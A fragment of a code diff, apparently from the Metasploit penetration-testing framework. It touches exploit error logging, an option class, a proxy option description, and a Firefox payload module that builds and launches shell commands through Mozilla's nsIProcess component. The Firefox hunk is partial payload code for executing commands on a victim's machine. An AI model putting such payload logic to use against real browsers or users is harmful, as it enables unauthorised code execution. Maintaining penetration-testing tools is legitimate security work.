exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}")
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
end
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
end
# Record the error to various places
@ -335,3 +329,4 @@ protected
end
end

View File

@ -527,10 +527,6 @@ class OptRegexp < OptBase
return Regexp.compile(value)
end
def default
@default.to_s
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source
@ -808,7 +804,7 @@ module Opt
'LPORT' => [ OptPort, 'nil', true, '"The listen port"' ],
'CPORT' => [ OptPort, 'nil', false, '"The local client port"' ],
'CHOST' => [ OptAddress, 'nil', false, '"The local client address"' ],
'Proxies' => [ OptString, 'nil', 'false', '"Use a proxy chain"']
'Proxies' => [ OptString, 'nil', 'false', '"A proxy chain of format type:host:port[,type:host:port][...]"']
}
#

View File

@ -175,14 +175,16 @@ module Msf::Payload::Firefox
stdout.append(stdoutFile);
var shell;
cmd = cmd.trim();
if (windows) {
shell = shPath+" "+cmd.trim();
shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]

Some files were not shown because too many files have changed in this diff Show More